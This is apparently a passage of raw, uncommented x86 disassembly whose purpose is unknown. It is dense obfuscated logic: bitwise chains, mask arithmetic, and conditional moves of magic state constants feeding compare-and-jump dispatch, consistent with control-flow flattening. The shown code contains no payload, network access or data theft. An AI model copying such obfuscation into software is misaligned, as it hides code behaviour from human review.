mov bl, dh
xor bl, 1
and bl, ah
mov ah, ch
xor ah, dh
and dh, ch
and ah, ch
or dh, bl
mov ch, ah
and ch, dh
xor dh, ah
or dh, ch
mov ah, dh
xor ah, 1
and dh, ah
mov ch, ah
and ch, dh
xor dh, ah
or dh, ch
mov ah, dh
and dh, dl
xor ah, 1
or dl, ah
and ah, cl
or ah, dh
mov ecx, edx
xor cl, ah
xor ah, 1
or ah, dl
xor cl, 1
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
and ah, cl
mov edx, ecx
and dl, ah
xor ah, cl
mov ecx, eax
or ah, dl
xor cl, 1
mov dl, ah
mov ch, cl
mov dh, cl
xor dl, 1
xor ch, dl
xor ch, 1
or ch, al
and al, cl
xor al, 1
xor dh, al
or al, cl
xor al, 1
or al, dh
mov cl, al
and al, ah
mov ah, byte [esp + 0x10]
xor cl, 1
and cl, dl
or al, cl
mov cl, ch
mov edx, eax
xor cl, 1
and al, ch
xor dl, 1
and cl, dl
or cl, al
mov al, ch
and al, dl
xor dl, ch
mov ch, byte [esp + 8]
or dl, al
mov al, cl
xor dl, 1
and al, dl
xor dl, cl
mov cl, byte [esp + 0x18]
or dl, al
mov al, ah
mov byte [esp], dl
movzx edx, byte [esp + 0x14]
and al, byte [esp + 0x28]
and cl, dl
and ah, dl
or al, cl
xor ah, 1
xor al, 1
mov cl, al
xor cl, dl
xor al, cl
and al, cl
mov cl, dl
xor cl, ah
or ah, dl
xor ah, 1
or ah, cl
mov cl, ah
or ah, ch
xor cl, ch
mov ch, byte [esp + 0x1c]
xor ah, 1
mov edx, ecx
or ah, cl
xor dl, 1
xor cl, ah
or ah, dl
xor cl, 1
or ch, byte [esp + 0x20]
xor ah, 1
or ah, cl
mov dl, ah
mov dh, ah
xor dl, 1
mov ah, ch
mov cl, ch
mov bl, ch
xor ah, 1
and cl, ah
mov ch, cl
xor cl, bl
xor ch, 1
or ch, ah
xor ch, 1
or ch, cl
and dl, ch
xor ch, 1
and ch, dh
mov dh, al
xor dh, 1
or ch, dl
mov dl, al
mov byte [esp + 4], dh
and dh, al
mov bl, ch
mov cl, ch
xor dh, 1
xor bl, 1
xor dl, dh
or dh, al
xor cl, bl
or bl, ch
xor dh, 1
and cl, ch
xor bl, 1
or dh, dl
mov ah, dh
xor ah, 1
mov bh, ah
xor ah, ch
or bh, dh
xor ah, 1
xor al, bh
or bh, byte [esp + 4]
xor al, 1
xor bh, 1
mov dl, bh
and dl, al
xor al, bh
or al, dl
mov dl, cl
xor dl, 1
mov bh, dl
mov byte [esp + 4], dl
and bh, cl
and byte [esp + 4], bh
xor bh, dl
mov dl, bl
or bh, byte [esp + 4]
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
xor bh, bl
xor bh, 1
mov dl, bh
and dl, cl
xor cl, bh
or cl, dl
mov dl, al
mov ebx, ecx
xor dl, 1
mov byte [esp + 4], dl
xor bl, 1
mov dl, cl
and dl, bl
mov bh, dl
xor dl, cl
mov cl, byte [esp + 4]
xor bh, 1
or bh, bl
xor bh, 1
or bh, dl
and cl, bh
xor bh, 1
and bh, al
mov al, dh
xor al, ch
or bh, cl
and al, dh
xor al, 1
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov al, ah
xor al, 1
mov ecx, eax
and cl, ah
xor al, cl
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
mov al, bh
mov edx, ecx
xor al, 1
xor dl, 1
and cl, al
or al, dl
and dl, bh
or dl, cl
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
xor cl, 1
xor dl, 1
or dl, cl
mov eax, edx
mov ecx, edx
mov ch, dl
xor al, 1
or cl, al
mov ah, cl
or ch, cl
and cl, al
xor al, dl
xor ah, 1
xor ch, 1
or al, ah
and ah, dl
mov dl, ch
or cl, ah
xor al, 1
and dl, cl
xor cl, ch
mov ch, al
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ah, dl
and ah, cl
xor cl, dl
or cl, ah
mov edx, ecx
xor dl, 1
or cl, dl
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
mov edx, ecx
xor ah, cl
xor dl, 1
xor ah, 1
xor ch, dl
or dl, al
and ch, al
or al, cl
xor dl, 1
mov cl, al
or dl, ah
xor cl, ch
xor ch, 1
or ch, al
xor cl, 1
xor ch, 1
or ch, cl
mov al, ch
and ch, dl
xor dl, 1
xor al, 1
mov cl, dl
xor cl, al
and al, dl
and cl, dl
or al, ch
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
mov ah, cl
and dl, al
and ah, dl
xor dl, cl
xor cl, al
or dl, ah
and cl, al
mov ah, dl
xor ah, 1
and ah, dl
xor cl, ah
xor cl, 1
and ah, cl
xor ah, 1
mov al, ah
or ah, cl
xor al, cl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov ecx, eax
mov edx, eax
and cl, ah
and dl, cl
xor cl, al
or al, ah
or cl, dl
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, 1
and ah, dl
or dl, al
and al, cl
xor dl, 1
or al, ah
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
mov ah, al
xor cl, 1
mov edx, ecx
or dl, al
or ah, dl
xor dl, cl
xor dl, 1
xor ah, 1
or ah, dl
mov dl, ah
xor dl, 1
mov ch, dl
and ch, ah
xor dl, ch
xor ch, 1
or ch, ah
xor ch, 1
or ch, dl
mov edx, ecx
xor cl, al
and dl, al
or cl, dl
mov eax, ecx
mov edx, ecx
mov ah, cl
xor al, 1
and dl, al
or al, ch
and ah, dl
xor dl, cl
xor al, 1
or dl, ah
xor dl, ch
xor ch, cl
xor ch, 1
xor dl, 1
or al, ch
mov ecx, edx
xor al, 1
and cl, al
xor al, dl
or al, cl
mov ecx, eax
mov dh, al
xor cl, 1
mov dl, cl
and dh, cl
or dl, al
mov ah, dl
xor ah, 1
mov ch, ah
or ah, al
and ch, dl
xor ah, 1
xor ch, 1
mov bl, ch
or ch, dl
xor bl, dl
xor ch, 1
xor dl, cl
or ch, bl
mov bl, dh
xor dh, al
or ah, dl
xor bl, 1
xor ah, 1
or bl, cl
xor bl, 1
or bl, dh
xor bl, ch
mov al, bl
and al, ah
xor ah, bl
or ah, al
mov al, ah
xor al, 1
and ah, al
mov ecx, eax
and cl, ah
xor ah, al
or ah, cl
mov al, ah
xor al, 1
and ah, al
mov ecx, eax
and cl, ah
xor ah, al
or ah, cl
movzx ecx, byte [esp]
mov ch, ah
xor ch, 1
and ch, ah
mov edx, ecx
mov al, ch
xor ch, ah
xor dl, 1
and al, ah
mov ah, dl
or ch, al
mov al, dl
and ah, cl
mov bh, ch
and al, ah
xor ah, dl
or dl, cl
xor bh, 1
or ah, al
xor dl, 1
mov bl, bh
mov al, ah
xor al, dl
or dl, ah
xor dl, 1
mov cl, al
or dl, al
xor dl, 1
and cl, dl
xor dl, al
mov al, bh
or dl, cl
mov cl, bh
and cl, ch
mov byte [esp + 4], dl
xor dl, 1
and bl, cl
xor al, cl
xor cl, 1
mov byte [esp + 0x14], dl
or al, bl
mov dh, cl
or cl, bh
mov bl, al
xor dh, bh
or bh, ch
xor cl, 1
xor bl, 1
or cl, dh
and bl, bh
xor bh, 1
and al, bh
or al, bl
mov bl, ch
xor bl, bh
or bh, ch
xor bh, 1
or bh, bl
mov ch, bh
xor ch, al
xor al, 1
or al, bh
xor ch, 1
mov bh, dl
xor al, 1
or al, ch
mov ch, dl
and ch, byte [esp + 4]
mov byte [esp + 8], al
xor dl, ch
and bh, ch
xor ch, 1
or bh, dl
mov byte [esp + 0x1c], dl
mov edx, ecx
mov al, bh
mov byte [esp + 0x10], bh
xor al, 1
mov bl, al
mov byte [esp + 0x18], al
and bl, bh
mov bh, al
and bh, bl
xor bl, al
or bl, bh
xor bl, 1
mov bh, bl
or bl, al
xor bh, al
xor bl, 1
mov al, byte [esp]
or bl, bh
mov dh, bl
xor dh, 1
mov bh, dh
xor bh, al
or al, dh
and dh, ah
xor ah, 1
xor al, 1
and ah, bl
or ah, dh
or al, bh
mov bl, ah
mov dh, al
and ah, al
xor bl, 1
xor dh, 1
or al, bl
and bl, dh
or bl, ah
mov ah, al
xor ah, bl
xor bl, 1
or bl, al
mov al, byte [esp + 8]
xor ah, 1
xor bl, 1
or bl, ah
mov dh, al
xor dh, 1
mov ah, dh
mov byte [esp], dh
or dh, al
xor ah, al
xor dh, 1
mov al, cl
or ah, dh
xor al, 1
mov bh, ah
and dl, ah
xor bh, 1
and cl, bh
and bh, al
and al, ah
or bh, dl
or cl, al
xor bh, 1
or bh, ah
mov ah, cl
and cl, bh
xor bh, 1
xor ah, 1
mov al, bh
xor al, ah
and ah, bh
and al, bh
or ah, cl
mov bh, byte [esp]
mov cl, al
and cl, ah
xor ah, al
mov al, bl
xor al, 1
or ah, cl
mov cl, al
mov dl, al
xor ah, 1
and cl, bl
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
xor cl, ah
xor cl, 1
or cl, ah
xor ah, bl
mov dl, cl
or ah, al
xor dl, 1
mov bl, dl
and bl, cl
xor bl, 1
mov al, bl
or bl, cl
xor al, cl
xor bl, 1
or bl, al
mov al, ah
mov cl, bl
xor al, 1
and bl, ah
xor cl, 1
and cl, al
or bl, cl
mov cl, dl
xor cl, al
or al, dl
mov dl, byte [esp + 0x18]
xor al, 1
or al, cl
mov cl, bl
xor al, 1
and cl, al
xor al, bl
mov bl, byte [esp + 0x14]
or al, cl
mov cl, byte [esp + 4]
or bl, cl
or ch, cl
mov cl, bh
xor dl, bl
or bl, byte [esp + 0x10]
xor cl, dh
xor ch, 1
xor dl, 1
and dh, cl
or ch, byte [esp + 0x1c]
xor bl, 1
or bl, dl
mov dl, cl
xor dl, dh
xor dh, 1
or dh, cl
mov cl, bl
xor dl, 1
xor cl, 1
xor dh, 1
mov ah, cl
or dh, dl
mov dl, ch
and ah, bl
xor dl, 1
xor cl, ah
xor ah, 1
or ah, bl
xor ah, 1
or ah, cl
mov cl, ah
and ah, dh
xor dh, 1
xor cl, 1
and cl, dh
mov dh, byte [esp + 8]
or ah, cl
mov cl, bh
and cl, dl
xor ah, 1
and ch, dh
or dl, dh
or ch, cl
mov cl, dl
xor ch, 1
xor cl, ch
or ch, dl
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
mov edx, ecx
and dl, ch
xor cl, dl
xor dl, 1
or dl, ch
mov ch, al
xor dl, 1
or dl, cl
mov cl, ah
xor dl, 1
or cl, dl
xor ah, dl
xor cl, 1
mov edx, ecx
and dl, ah
xor ah, cl
or ah, dl
mov cl, ah
mov dl, ah
xor cl, 1
or cl, ah
xor cl, 1
and dl, cl
xor cl, ah
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ah, dl
and ah, cl
xor cl, dl
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
and ah, cl
xor dl, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov edx, eax
xor dl, 1
mov dh, ah
or ch, dl
mov bh, dl
xor dh, 1
mov bl, ch
xor bh, ch
and ch, dl
mov cl, dh
xor bl, 1
and bh, dl
or cl, ah
and bl, al
or ch, bl
mov bl, bh
and bl, ch
xor ch, bh
mov bh, cl
or ch, bl
mov bl, dl
xor bh, 1
xor bl, dh
and bh, dh
and bl, dl
and dl, dh
or dh, cl
and cl, ah
and ah, al
or cl, bh
mov bh, dh
mov al, bl
or dl, ah
xor cl, 1
xor bl, dl
xor al, 1
xor dl, 1
xor bh, cl
or cl, dh
or dl, al
xor cl, 1
xor dl, 1
or cl, bh
or dl, bl
mov dh, cl
mov eax, edx
xor dh, 1
xor al, 1
and cl, dh
and dl, al
mov ah, al
xor cl, 1
and ah, dl
xor dl, al
mov bh, cl
or cl, dh
or dl, ah
xor bh, dh
xor cl, 1
mov dh, ch
mov eax, edx
or cl, bh
xor dh, 1
xor al, 1
and dh, cl
xor cl, 1
mov ah, al
and cl, ch
or cl, dh
and ah, cl
xor cl, 1
and dl, cl
or dl, ah
mov ah, cl
xor cl, al
and ah, al
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
cmovne edi, esi
test cl, 1
mov ecx, 0x28068730
cmovne ecx, edi
test dl, 1
mov edx, dword [esp + 0xc]
cmove ecx, edi
lea edx, [edx + edx + 2]
mov dword [esp + 0x120], edx
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x158]
movzx edx, word [esp + eax*2 + 0x15c]
mov dword [esp + 0x14], eax
mov ecx, edx
mov edi, edx
not ecx
mov ebp, edi
mov dword [esp + 4], edi
mov eax, ecx
mov ebx, ecx
mov ecx, edx
mov esi, ebx
and eax, 0xffffadfa
and ecx, 0x5205
mov dword [esp + 8], ebx
or ecx, eax
or esi, 0x12d0
mov edx, ecx
mov eax, esi
xor ecx, 0x40
and esi, 0x504c
xor edx, 0x200
not eax
or ecx, 0x400c
and eax, 0xffffad23
and ecx, 0x504c
and edx, 0x290
or eax, esi
or edx, ecx
mov esi, ebx
xor eax, edx
and esi, 0x13ad
mov ecx, eax
and eax, 0xffffa2c4
not ecx
and ecx, 0x5d3b
or eax, ecx
mov ecx, edi
and ecx, 0xec52
mov edx, eax
xor eax, 0x4feb
or ecx, esi
xor edx, 0xffffb014
mov esi, ecx
xor ecx, 0x13ad
mov edi, edx
xor esi, 0xffffec52
or ecx, esi
mov esi, ecx
xor edi, ecx
and ecx, edx
not esi
and edi, edx
and esi, eax
mov eax, edi
and edi, 0x3a3e
not eax
or ecx, esi
mov edx, eax
and edx, 0xffffc5c1
or edi, edx
mov edx, ecx
and ecx, 0x3a3e
not edx
or eax, edx
and edx, 0xffffc5c1
or ecx, edx
not eax
xor ecx, edi
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and ecx, eax
and eax, 0x17d4
and edx, 0xffffe82b
or eax, edx
xor eax, 0x17d4
mov edx, eax
xor eax, ecx
and edx, ecx
or eax, edx
mov edx, eax
and eax, 0x4c1a
not edx
mov ecx, edx
or edx, 0xffffecc1
and ecx, 0xffffb3e5
or eax, ecx
mov ecx, eax
xor eax, 0x5f24
xor ecx, 0x4c1a
and eax, ecx
mov ecx, eax
and eax, 0x167
not ecx
mov esi, ecx
or ecx, edx
and esi, 0xfffffe98
not ecx
or eax, esi
mov esi, edx
and edx, 0xfffffe98
not esi
and esi, 0x126
or esi, edx
xor esi, eax
or ecx, esi
mov esi, ebx
mov eax, ecx
and ecx, 0x1d09
and esi, 0x19a8
not eax
and eax, 0xffffe2f6
or ecx, eax
mov edx, ecx
xor ecx, 0x1194
xor edx, 0xffffac03
and ecx, 0x11fc
and edx, 0xffffee03
or edx, ecx
mov eax, edx
xor edx, 0xc4
xor eax, 0xffffee03
and edx, 0xffff86c6
mov ecx, eax
and eax, 0x5da3
and ecx, 0x7939
or ecx, edx
mov edx, ebp
xor ecx, 0xffffdb65
and edx, 0xe657
or eax, ecx
mov ecx, ebx
or esi, edx
and ecx, 0xffffa25c
xor esi, 0x440b
mov dword [esp], eax
mov edx, ecx
and edx, esi
xor esi, ecx
or esi, edx
mov edx, esi
mov ecx, esi
mov edi, esi
not edx
and ecx, 0xffffe100
xor edi, 0xffffe148
movzx edx, dl
and edi, esi
or ecx, edx
mov edx, eax
xor ecx, 0xffffe100
not edx
and ecx, 0xffffe148
mov esi, ecx
and esi, edi
xor edi, ecx
or edi, esi
mov ecx, edi
and edi, 0x3b4c
not ecx
and ecx, 0xffffc4b3
or edi, ecx
mov ecx, edi
xor edi, 0x2512
xor ecx, 4
and edi, 0xffffff12
and ecx, 0xed
or ecx, edi
mov edi, edx
and edx, 0x242e
mov esi, ecx
xor ecx, 0xffffe700
and edi, 0x70e8
xor esi, 0x64
and ecx, 0xffffe789
and esi, 0x1876
or esi, ecx
mov ecx, eax
and ecx, 0xffff8f17
mov eax, esi
or edi, ecx
mov ecx, esi
xor esi, 0xffffe789
xor eax, 0xffffa70e
xor ecx, 0x1876
mov dword [esp + 0xc], esi
and esi, 0xffffbf78
and eax, ecx
mov ebx, esi
mov dword [esp + 0x10], ecx
and ebx, eax
xor eax, esi
or eax, ebx
mov esi, eax
and eax, 0x6e3d
not esi
and esi, 0xffff91c2
or eax, esi
mov esi, edi
xor edi, 0xffff8f17
mov ecx, eax
xor esi, 0x70e8
xor eax, 0x2eba
xor ecx, 0xffffd145
mov ebp, eax
mov ebx, eax
mov dword [esp + 0x18], ecx
and ecx, edi
and edi, 0xfffffe9c
and ebp, 0xffff892a
and ebx, 0x242e
mov dword [esp + 0x1c], ecx
mov ecx, esi
xor ecx, eax
and eax, esi
and ecx, esi
and esi, 0x163
mov dword [esp + 0x28], eax
or esi, edi
mov dword [esp + 0x20], ecx
mov edi, esi
xor esi, 0x5614
xor edi, 0x163
and esi, 0x5735
mov ecx, edi
and edi, 0x242e
and ecx, 0xffffa8ca
or ecx, esi
mov esi, dword [esp]
xor ecx, 0x731b
or edi, ecx
mov eax, edi
and edi, 0xb5f
not eax
and eax, 0xfffff4a0
or edi, eax
mov eax, esi
and eax, 0xffffdbd1
or edx, eax
mov eax, dword [esp + 0x18]
xor esi, edx
and esi, edx
mov edx, dword [esp + 0x10]
and eax, 0x76d5
or ebp, eax
mov eax, dword [esp + 0xc]
and edx, 0xffffc88b
xor ebp, 0x52fb
or ebx, ebp
mov ebp, esi
and esi, 0x30ef
not ebp
and eax, 0x3774
or edx, eax
mov eax, edx
xor edx, 0x674
xor eax, 0xffffc88b
and edx, 0x4e77
mov ecx, eax
and eax, 0xffffdbd1
and ecx, 0xffffb188
or ecx, edx
xor ecx, 0xffff95a6
or eax, ecx
mov ecx, eax
and eax, 0xffffe4a8
not ecx
and ecx, 0x1b57
or eax, ecx
mov ecx, edi
xor edi, 0xffffc400
xor ecx, 0xb5f
and edi, 0xffffcf10
mov edx, ecx
xor edx, ebp
and ebp, 0xffffcf10
and edx, ecx
and ecx, 0x30ef
or esi, ebp
or ecx, edi
xor esi, ecx
mov ecx, edx
and edx, 0x7d08
not ecx
mov edi, ecx
and edi, 0xffff82f7
or edx, edi
mov edi, esi
and esi, 0x7d08
not edi
or ecx, edi
and edi, 0xffff82f7
or esi, edi
not ecx
mov edi, ebx
xor esi, edx
mov edx, ebx
and ebx, 0x1306
or ecx, esi
mov esi, eax
not edx
xor eax, 0x1b57
xor esi, 0xffffe4a8
or edi, eax
and edx, 0xffffecf9
and eax, 0x1306
and esi, 0xffffecf9
or edx, ebx
not edi
or esi, eax
mov eax, edi
xor esi, edx
and eax, esi
xor esi, edi
or esi, eax
mov eax, ecx
mov edx, esi
xor eax, esi
not edx
and eax, esi
and esi, 0x143e
and edx, 0xffffebc1
or esi, edx
xor esi, ecx
xor esi, 0xffffebc1
and esi, ecx
mov ecx, eax
and eax, 0xffffe780
not ecx
mov edx, ecx
and edx, 0x187f
or eax, edx
mov edx, esi
and esi, 0xffffe780
not edx
or ecx, edx
and edx, 0x187f
or esi, edx
not ecx
mov edx, dword [esp + 0x20]
xor esi, eax
or ecx, esi
mov esi, dword [esp + 0x28]
mov eax, edx
or esi, dword [esp + 0x1c]
and eax, esi
xor esi, edx
or esi, eax
mov eax, ecx
mov edx, esi
and esi, 0xffffcbc2
not eax
not edx
and edx, 0x343d
or edx, esi
mov esi, edx
xor edx, 0x343d
xor esi, 0xffffcbc2
and esi, eax
or eax, edx
and edx, ecx
mov ecx, eax
or edx, esi
mov esi, eax
not ecx
and esi, 0x3495
and ecx, 0xffffcb6a
or ecx, esi
mov esi, edx
and edx, 0xffffcb6a
not esi
or eax, esi
and esi, 0x3495
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov edx, eax
mov ecx, eax
not edx
xor ecx, 0xffffb9d0
mov esi, edx
and ecx, eax
and eax, 0x2e90
and esi, 0xffffb9d0
mov edi, esi
and edi, ecx
xor ecx, esi
or ecx, edi
mov esi, ecx
and ecx, 0x2713
not esi
and esi, 0xffffd8ec
or ecx, esi
mov esi, ecx
xor ecx, 0xffffc360
xor esi, 0x201c
and esi, 0xffffa25c
or ecx, esi
mov esi, ecx
and ecx, 0xffffa1be
not esi
and esi, 0x5e41
or ecx, esi
mov esi, edx
and esi, 0xffffd16f
or eax, esi
mov esi, ecx
xor ecx, 0x5e41
xor eax, 0xffff8ccc
xor esi, 0xffffa1be
xor edx, eax
mov edi, esi
and edx, eax
and ecx, edx
not edx
xor edi, edx
and edx, esi
and edi, esi
or edx, ecx
mov eax, edi
and edi, 0x18d5
not eax
mov ecx, eax
and ecx, 0xffffe72a
or edi, ecx
mov ecx, edx
and edx, 0x18d5
not ecx
or eax, ecx
and ecx, 0xffffe72a
or edx, ecx
not eax
xor edx, edi
or eax, edx
mov edx, eax
mov ecx, eax
and eax, 0xffffb7b2
not edx
and ecx, 0xffff9354
mov edi, edx
and edi, 0x484d
or edi, eax
xor edi, 0x484d
or edi, edx
and edx, 0x6cab
or ecx, edx
mov esi, edi
and edi, 0x4302
mov eax, ecx
xor ecx, 0x6882
not esi
xor eax, 0x1000
and ecx, 0xffffebd6
and eax, 0x1429
or eax, ecx
mov ecx, eax
xor eax, 0x420
xor ecx, 0x6282
and eax, 0xffff8d74
and ecx, 0x728b
or ecx, eax
mov eax, ecx
xor ecx, 0xffff8c74
xor eax, 0x288
and ecx, 0xfffffc77
and eax, 0x388
or eax, ecx
mov ebp, eax
xor eax, 0x388
not ebp
and eax, 0xffffc7bf
and ebp, 0x3840
or ebp, eax
mov eax, ebp
mov ecx, ebp
xor ebp, 0xb81
xor ecx, 0x111
xor eax, 0x3840
and ebp, eax
and ecx, 0x2151
and eax, 0xffffdeae
or eax, ecx
mov ecx, esi
and esi, 0xffffcc3e
and ecx, 0xffffbcfd
or ecx, edi
mov edi, ecx
mov dword [esp + 0xc], ecx
xor edi, 0xffffbcfd
mov dword [esp], edi
and edi, 0x33c1
or esi, edi
mov edi, eax
xor eax, 0x2151
mov ebx, eax
xor edi, 0xffffd82c
or ebx, 0xffffcc3e
and edi, 0xffffd96c
mov ecx, ebx
mov edx, ebx
not ecx
and edx, 0x7dd7
and ecx, 0x200
or ecx, edx
mov edx, ebp
and ebp, 0xffff8228
not edx
or ebx, edx
and edx, 0x7dd7
or ebp, edx
not ebx
xor ebp, ecx
or ebx, ebp
mov ecx, ebx
and ebx, 0xffff85b1
not ecx
and ecx, 0x7a4e
or ebx, ecx
mov ecx, esi
and esi, 0xffff85b1
not ecx
and ecx, 0x7a4e
or esi, ecx
mov ecx, eax
and ecx, 0x2693
xor esi, ebx
or edi, ecx
mov ecx, dword [esp + 0xc]
xor ecx, 0x4302
or eax, ecx
and ecx, 0x2693
mov edx, ecx
mov ecx, dword [esp]
not eax
and ecx, 0xffffd96c
or ecx, edx
xor ecx, edi
or eax, ecx
mov ecx, eax
and eax, 0xfb8
not ecx
and ecx, 0xfffff047
or eax, ecx
mov ecx, esi
xor eax, 0xfb8
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
mov edx, eax
and eax, 0x4eef
not ecx
and edx, 0xffffd7aa
mov esi, ecx
and esi, 0x2855
or edx, esi
mov esi, edx
and edx, 0x2855
not esi
and esi, 0xffffd7aa
or edx, esi
mov esi, edx
and edx, 0x3632
not esi
mov edi, esi
and edi, 0xffffc9cd
or edx, edi
not edx
or edx, esi
mov esi, ecx
and ecx, 0x3632
and esi, 0xffffb110
or esi, eax
mov eax, edx
xor esi, 0x78dd
not eax
or ecx, esi
mov esi, edx
xor edx, 0xffffa85e
mov edi, ecx
and edx, eax
and esi, 0xffffdaa4
and eax, 0x255b
or eax, esi
mov esi, ecx
not edi
xor ecx, 0xffffa85e
and ecx, edi
and esi, 0x5c85
and edi, 0xffffa37a
or edi, esi
mov esi, eax
xor eax, 0xffffdaa4
xor esi, 0x255b
mov ebx, esi
and esi, 0x2110
and ebx, 0x57a1
mov ebp, ebx
and ebp, edx
xor edx, ebx
mov ebx, edi
xor edi, 0x5c85
xor ebx, 0xffffa37a
or edx, ebp
mov ebp, ebx
and ebx, 0x2110
and ebp, 0x57a1
mov dword [esp], ebp
and dword [esp], ecx
xor ecx, ebp
mov ebp, edx
or ecx, dword [esp]
not ebp
and ebp, ecx
not ecx
and ecx, edx
mov edx, eax
or eax, edi
and edi, 0xffffdeef
and edx, 0xffffdeef
or ebx, edi
not eax
or ecx, ebp
mov ebp, dword [esp + 8]
or esi, edx
mov edx, ecx
xor ebx, esi
or eax, ebx
mov ebx, dword [esp + 4]
not eax
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
mov edx, eax
xor ecx, 0x6788
not edx
and ecx, eax
and edx, 0x2600
and eax, 0x4188
or eax, edx
mov edx, ecx
xor eax, 0x4188
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
mov esi, eax
and eax, 0xffffd7b4
not ecx
and esi, 4
mov edx, ecx
mov edi, ecx
and ecx, 0x284b
and edx, 0xffffae41
or edi, 0xffffac01
or eax, ecx
or esi, edx
and edi, 0xfffffdbb
mov ecx, eax
xor eax, 0x284b
mov edx, esi
not esi
xor ecx, 0xffffd7b4
xor edx, 4
and esi, 0xfffffdbb
and edx, 0x244
or edx, esi
xor edi, edx
and eax, edi
not edi
and ecx, edi
or eax, ecx
mov ecx, ebx
xor edi, eax
xor ecx, 0x40fc
and edi, eax
mov eax, ebp
and ecx, ebx
and eax, 0x40fc
mov dword [esp + 0xc], edi
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
and ecx, 0x40fc
not eax
and eax, 0xffffbf03
or ecx, eax
mov eax, ecx
and ecx, 0xffffca01
not eax
and eax, 0x35fe
or ecx, eax
mov eax, ecx
xor ecx, 0x1102
xor eax, 0xffffca01
and ecx, 0xffffd302
mov edx, eax
and eax, 0xffff87b1
and edx, 0x2cfd
or edx, ecx
mov ecx, ebx
xor edx, 0x54b3
xor ecx, 0xffff87b1
or eax, edx
mov edx, ebp
and edx, 0x784e
or ecx, edx
mov edx, eax
mov esi, ecx
not edx
not esi
and esi, eax
or eax, ecx
and ecx, edx
not eax
or ecx, esi
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov esi, ecx
mov edx, ecx
xor esi, 0x29f4
and edx, 0x182c
and esi, ecx
not ecx
and ecx, 0xffffe7d3
or edx, ecx
mov eax, edx
and edx, 0x2040
xor eax, 0x21d0
or eax, 0xffffd60b
mov ecx, eax
and ecx, 0xbb6
or edx, ecx
mov ecx, esi
and esi, 0xfffff449
not ecx
or eax, ecx
and ecx, 0xbb6
or esi, ecx
not eax
mov ecx, ebx
xor esi, edx
xor ecx, 0x3a73
or eax, esi
mov esi, ebx
and ecx, ebx
mov ebx, ebp
or esi, 0xffffc58c
and ebx, 0x2a33
mov edx, esi
and edx, 0x10c4
or ebx, edx
mov edx, ecx
and ecx, 0xffffef3b
not edx
or esi, edx
and edx, 0x10c4
or ecx, edx
not esi
xor ecx, ebx
or esi, ecx
mov ecx, esi
and esi, 0x704c
not ecx
and ecx, 0xffff8fb3
or esi, ecx
mov ecx, eax
xor esi, 0x4a3f
not ecx
mov edx, ecx
mov ebp, esi
mov esi, eax
and edx, 0xfffff3cf
and esi, 0xc30
or esi, edx
xor esi, ebp
xor esi, 0xfffff3cf
and esi, ebp
or ebp, ecx
mov edx, esi
and esi, 0x7ab5
not edx
mov ebx, edx
or edx, ebp
and ebx, 0xffff854a
not edx
or esi, ebx
mov ebx, ebp
and ebp, 0xffff854a
not ebx
and ebx, 0x7ab5
or ebx, ebp
xor ebx, esi
or edx, ebx
mov esi, edx
and edx, eax
mov eax, edi
not esi
not eax
and ecx, esi
mov dword [esp + 4], eax
or edx, ecx
mov ecx, eax
xor esi, edx
and ecx, 0xfffff5ac
and esi, edx
mov edx, edi
and edx, 0xa53
mov dword [esp + 0x10], esi
mov esi, eax
or edx, ecx
and esi, edi
xor edx, 0xa53
mov ecx, edx
and ecx, esi
xor esi, edx
mov edx, eax
or esi, ecx
mov ecx, edi
and edx, 0x77cd
mov edi, dword [esp + 0x10]
and ecx, 0xffff8832
or ecx, edx
mov edx, ecx
xor ecx, 0x77cd
xor edx, 0xffff8832
or ecx, edx
mov edx, ecx
and ecx, 0xffffa3c3
not edx
and edx, 0x5c3c
or ecx, edx
mov edx, ecx
xor ecx, 0x5c3c
xor edx, 0x301
mov ebx, ecx
and ebx, 0xffffa4ca
and edx, 0x5b35
or edx, ebx
mov ebx, esi
xor ebx, 0xffffa4ca
and ebx, esi
not esi
mov ebp, esi
and ebp, ecx
xor ecx, esi
and esi, 0xffffa4ca
mov eax, esi
or ecx, ebp
and eax, ebx
xor ebx, esi
mov esi, edi
or ebx, eax
not esi
mov eax, ebx
mov dword [esp + 0x1c], esi
not eax
and eax, edx
not edx
and edx, ebx
or edx, eax
mov eax, ecx
and ecx, 0xffffbca0
mov ebp, edx
not eax
and edx, 0xffffe258
and eax, 0x435f
not ebp
or ecx, eax
mov eax, ebp
and eax, 0x1da7
or edx, eax
mov eax, ecx
xor ecx, 0x435f
xor eax, 0xffffa000
or ebp, ecx
and ecx, 0x1da7
and eax, 0xffffe258
not ebp
or eax, ecx
xor eax, edx
mov edx, edi
or ebp, eax
mov eax, esi
and edx, 0xffffa587
and eax, 0x5a78
mov dword [esp + 0x18], ebp
or edx, eax
mov eax, edx
xor edx, 0x5a78
xor eax, 0x103
mov ecx, edx
and ecx, 0xfffff6d4
and eax, 0x92b
or eax, ecx
mov ecx, esi
and esi, 0x43e3
and ecx, edi
and edi, 0xffffbc1c
mov ebx, ecx
and ecx, 0x92b
or edi, esi
not ebx
or edx, ebx
